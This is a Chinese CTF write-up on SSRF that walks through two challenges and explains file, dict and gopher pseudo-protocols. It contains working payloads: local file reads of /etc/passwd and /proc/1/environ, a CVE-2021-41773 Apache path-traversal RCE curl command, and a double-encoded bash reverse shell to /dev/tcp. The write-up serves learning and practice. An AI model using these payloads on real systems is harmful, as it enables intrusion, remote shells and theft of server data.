SSRF学习,刷题
[HNCTF 2022 WEEK2]ez_ssrf

给了一个Apache2的界面,翻译一下

就是一个默认的界面,目录扫描

可以看到flag.php,肯定是不能直接访问得到的,还有index.php,访问这个

可以看到三个参数data,host,port
还有fsockopen() 函数是 PHP 中用于打开一个网络连接的一种方法。它允许我们通过 TCP/IP 协议与远程服务器通信,发送请求并获取响应。
fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。
可以想到ssrf,该题就是对ssrf漏洞的引入。
构造
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
输出:R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
host=127.0.0.1,port=80
所以构造:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag
SSRF
服务器请求伪造,是一种由攻击者形成服务器端发起的安全漏洞,本质上属于信息泄露漏洞。
攻击的目标:从外网无法访问的内部系统
形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
比如:从指定url地址获取网页文本内容
加载指定地址的图片,下载
百度识图,给出一串URL就能识别出图片
攻击方式:

SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。
利用file协议读取本地文件;
对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
攻击运行在内网或本地的应用程序;
对内网web应用进行指纹识别,识别企业内部的资产信息;
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击;
本题就是我自己是不能够去访问flag.php页面的,通过利用SSRF漏洞,依靠可以访问的index.php页面,创建了一个本地的服务器,以此用来访问flag.php页面。
file伪协议:从文件系统中获取文件内容
(查找内网主机存活IP)
fie:// 从文件系统中获取文件内容,格式为 file://[文件路径]
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表,寻找内网其他主机。
file:///proc/net/fib trie 显示当前网段路由信息
Dict伪协议:字典服务协议,访问字典资源
(查找内网主机开放端口)

HTTP伪协议
(目录扫描)ctf中经常用于文件包含

Gopher伪协议
利用范围较广:【GET提交】【POST提交】【redis】【Fastcgi】【sql】
基本格式:URL:gopher://<host>:<port>/<gopher-path>
gopher伪协议默认端口是70端口,注意改端口为80端口(web默认端口)
gopher请求不转发第一个字符,需要加_用来填充(使用下划线填充首位)
练习
[NSSCTF 2nd]MyBox

给了url参数,file伪协议读取目标参数。
构造:?url=file:///etc/passwd

成功读到配置信息,但是没有什么用,只能够确定可能存在SSRF漏洞
构造:
?url=file:///proc/self/cmdline
/proc/self/cmdline 虚拟文件系统中的一部分。 这个文件包含当前进程的命令行。 通过读取这个文件,你可以获取启动当前进程时使用的命令行参数。
查看是什么环境

可以看到是python环境,而且有/app/app.py文件
file伪协议读取。
构造:
?url=file:///app/app.py

分析源代码
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)@app.route('/')
def index():if not request.args.get('url'):return redirect('/?url=dosth')url = request.args.get('url')if url.startswith('file://'):with open(url[7:], 'r') as f:return f.read()elif url.startswith('http://localhost/'):return requests.get(url).textelif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(5)s.connect(('127.0.0.1', int(port)))s.send(parse.unquote(content).encode())res = b''while 1:data = s.recv(1024)if data:res += dataelse:breakreturn resreturn ''app.run('0.0.0.0', 827)
它可以处理三种类型的 URL:
file:/// 开头的 URL,表示从本地文件系统中读取文件的内容。
http://localhost/ 开头的 URL,表示将请求转发到本地的 HTTP 服务器。
mybox://127.0.0.1: 开头的 URL,表示将请求发送到本地的 TCP 服务器。
当用户访问 / 路由时,如果没有提供 url 参数,服务器将重定向到 /?url=dosth。否则,服务器将根据 URL 的类型进行处理。
在处理 mybox:// 开头的 URL 时,服务器会创建一个 TCP 连接到指定的端口,并将请求数据发送过去,然后将响应数据返回给客户端。
这里的mybox的方式看着很像gopher
使用该mybox提交一个请求包进行测试
师傅们的小脚本,也可以用手写,但是不如脚本,容易出错
import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
运行结果:
mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
对该脚本的分析:
test =\ """GET /xxx.php HTTP/1.1 Host: 127.0.0.1:80""" #注意后面一定要有回车,回车结尾表示http请求结束
xxx.php页面请求的内容,后面的回车,也就是加个换行符是由于在请求里面都这样,可以打开bp看一下,内容都是在下一行。
传参看一下

它是一定访问不到我们的xxx.php页面的,但是由于mybox的原因,它返回了我们的请求信息,包含了该服务器的配置信息,看到Apache/2.4.49

存在路径穿越漏洞(CVE-2021-41773)
Apache HTTP Server 2.4.49 ~ 2.4.50
Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
尝试执行指令
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
echo;id
/cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。
在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面。
curl示例:
curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
修改刚才的代码,进行POST传参
import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59bash -c 'bash -i >& /dev/tcp/自己的IP/监听的端口 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
得到:
mybox://127.0.0.1:80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A60%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.217.138/8888%25200%253E%25261%2527%250D%250A
传参,nc -lvp 端口号,进行监听,得到flag。(但我自己的反弹shell没有成功)


这里进行两次url编码是我们每发一个请求到服务器端时,服务器会给我们进行一次URL解码,我们利用的SSRF漏洞是先向SSRF服务器发送请求,它对我们的请求进行一次URL解码后才会发到目标服务器,目标服务器再进行一次URL解码才会接受到我们想发给它的请求,所以进行两次URL编码。
还有一种非预期解:
访问环境变量:
?url=file:///proc/1/environ

相关文章:
SSRF学习,刷题
[HNCTF 2022 WEEK2]ez_ssrf 给了一个Apache2的界面,翻译一下 就是一个默认的界面,目录扫描 可以看到flag.php,肯定是不能直接访问得到的,还有index.php,访问这个 可以看到三个参数data,host,port 还有fsockopen() 函数是 PHP 中用于打开一个…...
K-Means 算法详解
K-Means 是一种常用的无监督学习算法,广泛应用于数据聚类分析。本文将详细讲解 K-Means 算法的原理、步骤、公式以及 Python 实现,帮助你深入理解这一经典算法。 什么是 K-Means 算法? K-Means 算法是一种基于原型的聚类算法,其…...
【DIY飞控板PX4移植】BARO模块BMP388气压计的PCB硬件设计和PX4驱动配置
BARO模块BMP388气压计的PCB硬件设计和PX4驱动配置 BMP388简介硬件设计封装原理图PCB设计引脚选择问题 PX4驱动配置飞控板的配置文件夹结构default.px4board文件nuttx-config/nsh/defconfig文件nuttx-config/include/board.h文件src/board_config.h文件src/i2c.cpp文件init/rc.b…...
Flutter框架高阶——Window应用程序设置窗体窗口背景完全透明
文章目录 1.修改 main.cpp1)C 与 Win32 API2)EnableTransparency()3)中文注释 2.编写 Flutter 代码1)bitsdojo_window2)window_manager3)区别对比4)同时使用(1)设置初始化…...
HJ39判断两个IP是否属于同一子网
提示:文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 HJ39判断两个IP是否属于同一子网 一、 代码: 第一版代码没有对掩码网络号进行处理。一开始对非法字段的理解就是value大于255。然后执行示例, 254.255.0.0 85.122.52.249 10.57.…...
opencv学习笔记(2)
设置鼠标回调函数 setMouseCallback(winname, callback, userdata) winname:窗口名字 callback:回调函数 userdata:传回callback中 callback(event, x, y, flags,userdata) event:鼠标事件 x: 鼠标的x坐标 y: 鼠标的y坐标 flags:鼠标键和组合键 userdata:setMouseCallback传回…...
分享vs code十大好用的插件
1.Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code 将 VS Code 界面改成简体中文。 2.PDF Viewer 在VS Code 中打开 PDF文件。 3.TODO Highlight 这个扩展会突出显示您的待办事项注释,并提醒存在未完成的注释或任务。 该扩展附带了内…...
MySQL支持哪些特殊字符
MySQL支持多种特殊字符,这些字符在SQL语句中具有特定的含义,需要在使用时特别注意。以下是一些MySQL中的特殊字符及其相关信息: 引号: 单引号():用于定义字符串。如果字符串中包含单引号本身&…...
c语言中的宏是什么?
宏的定义及用途 C语言中的宏是一种预处理指令,它允许程序员定义一个名称,该名称可以代表一段代码或一个值。宏的主要用途是简化代码的编写,提高代码的可读性和可维护性,以及实现代码的重复利用。 宏的定义使用#define指令&#…...
采购信息记录标准编码范围维护以及如何开发获取编码范围
上图是配置的点,在这里可以获取到对应的编号范围以及对象名称 下面的话是官方就如何取编号的技术文档 SAP Help Portal...
渗透测试基础(四) MS08-067 漏洞攻击
1. 漏洞介绍 漏洞描述 Microsoft Windows Server服务RPC请求缓冲区溢出漏洞Windows的Server服务在处理特质RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。…...
vmware 虚拟机保留数据扩展C盘
1,在默认安装系统的时候,VMWARE一般给C盘50G,很多人想着够用了,但是后面慢慢的安装各种大型软件,游戏,才发现,悔时已晚。 2,有很多人虚拟机其实就是拿来游戏多开,但是当…...
vscode cmake c++ include 设置
在这里设置编译器路径,include路径等等。 一个奇怪的现象是同一项目放在VS中可以cmake生成,并正常运行,但是放在VSCODE中cmake生成时会报错,如iostream、limits等头文件找不到。当在VS中运行执行完成调试后,在运行VSC…...
2024-06-19 高等数学(统计学和概率论-高等工科数学)
学习数学时,有效的笔记方法可以帮助你更好地理解和记忆概念、公式和解题技巧。下面是一个数学笔记的基本模本,你可以根据自己的需求进行调整: 1. **标题**:写上日期和课程名称,例如“2024-06-19 高等数学”。 2. **课…...
idea 创建properties文件,解决乱码
设置properties文件编码 点击file->Settings File Encodings->设置utf-8 重新创建.properties文件才生效...
树莓派4B学习笔记11:PC端网线SSH连接树莓派_网线连接请求超时问题解决
今日继续学习树莓派4B 4G:(Raspberry Pi,简称RPi或RasPi) 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: Opencv 版本是4.5.1: 今日学习使用网线连接树莓派,网线可以提供更…...
适合营销的叙事可视化
背景 数据可视化与数据故事化的差异和相似点,以及它们如何协同工作,将你的数据转化为清晰、简洁、可操作的信息,以便您的组织使用。 什么是数据可视化? 数据可视化通过图像传达信息——这是你所收集数据的视觉表示。通过提供原…...
Spring Cloud全家桶(上)【Nacos、OpenFeign、LoadBalancer、GateWay、金丝雀灰色发布】
0.零基础入门微服务实战课 1.微服务和 Spring Cloud1.1 什么是微服务?1.2 什么是 Spring Cloud?1.3 微服务 VS Spring Cloud 2.为什么要学微服务?3.Spring Cloud 组件介绍1.什么是 Nacos?1.1 Nacos 功能1.1.1 配置中心1.1.2 注册中心 1.2 Na…...
GPRS与4G网络:技术差异与应用选择
在移动通信的发展历程中,GPRS(General Packet Radio Service)和4G(Fourth-Generation)技术都扮演着举足轻重的角色。虽然两者都旨在提供无线数据传输服务,但在数据传输速率、延迟和覆盖范围等方面ÿ…...
【Spring】1. Maven项目管理
📚博客主页:爱敲代码的小杨. ✨专栏:《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 |《MySQL探索之旅》 |《Web世界探险家》 ❤️感谢大家点赞👍🏻收藏⭐评论✍🏻,您的三连就是我持续更…...
株洲彩钢板厂家
彩钢板 彩色涂层钢板 以冷轧/镀锌钢板为基材,表面脱脂、磷化后,辊涂彩色有机涂层(聚酯、氟碳等),再烘烤成型。二、主要分类(3大类)1. 彩钢压型板(单板/彩钢瓦)• 结构&a…...
把旧笔记本变成第二台电脑的“上网卡”:Win10/11网络共享实战指南
旧笔记本秒变网络共享中心:Windows ICS高阶配置指南 你是否遇到过这样的场景:书房里的台式机没有无线网卡,而客厅的旧笔记本却闲置着?其实只需一根网线,就能让这台"退役"设备重新上岗,成为全屋网…...
别再裸奔了!手把手教你给Nacos 2.x加上用户密码和权限隔离(附Spring Boot配置)
Nacos 2.x安全加固实战:从零构建企业级权限体系 在微服务架构快速迭代的初期,许多团队为了开发效率往往选择"裸奔"模式运行Nacos——不开启任何鉴权机制。这种看似便捷的做法实则暗藏巨大风险:配置信息泄露、服务被恶意注销、敏感数…...
模拟内存计算与ReRAM在触觉手势识别中的应用
1. 模拟内存计算技术概述模拟内存计算(Analog In-Memory Computing,简称AiMC)正在彻底改变传统计算架构的设计范式。这项技术的核心突破在于打破了困扰计算领域长达半个多世纪的"冯诺依曼瓶颈"——即处理器与存储器之间的数据搬运带…...
README工匠技能:从自动化工具到工程化实践,打造项目黄金门面
1. 项目概述:一个为README注入灵魂的“工匠”技能 在开源社区和项目协作中,README文件就是项目的“门面”和“说明书”。一个优秀的README,能瞬间抓住潜在用户或贡献者的眼球,清晰地传达项目价值、快速引导上手,甚至能…...
终极指南:5分钟快速修复Windows更新问题的完整解决方案
终极指南:5分钟快速修复Windows更新问题的完整解决方案 【免费下载链接】Script-Reset-Windows-Update-Tool This script reset the Windows Update Components. 项目地址: https://gitcode.com/gh_mirrors/sc/Script-Reset-Windows-Update-Tool 当Windows更…...
【YOLO26实战全攻略】21——YOLO26工业质检实战:PCB缺陷检测+划痕分割全流程落地指南
摘要:工业质检中,PCB板微小缺陷漏检、缺陷无法量化、小样本过拟合等问题长期困扰产线效率。本文基于YOLO26的STAL小目标感知机制与实例分割能力,打造从缺陷检测到量化分析的全流程解决方案。涵盖PCB六类缺陷数据集构建、YOLO26模型训练优化、实例分割掩码提取、缺陷尺寸精准…...
3个核心功能解密:PT-Plugin-Plus如何实现PT站点种子下载效率提升
3个核心功能解密:PT-Plugin-Plus如何实现PT站点种子下载效率提升 【免费下载链接】PT-Plugin-Plus PT 助手 Plus,为 Microsoft Edge、Google Chrome、Firefox 浏览器插件(Web Extensions),主要用于辅助下载 PT 站的种子…...
面壁智能开源端侧多模态大模型MiniCPM-V 4.6,性能登顶同尺寸榜首,降低开发门槛
【导语:5月13日,面壁智能联合清华大学与OpenBMB开源社区,发布并开源新一代端侧多模态大模型MiniCPM-V 4.6。该模型以轻量级参数实现性能与效率突破,在评测中超越竞品,还降低了运行内存需求和计算成本,支持多…...
观察Taotoken在多模型并发请求下的稳定性与响应表现
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 观察Taotoken在多模型并发请求下的稳定性与响应表现 在实际业务开发中,我们常常需要同时调用多个不同的大模型来处理不…...
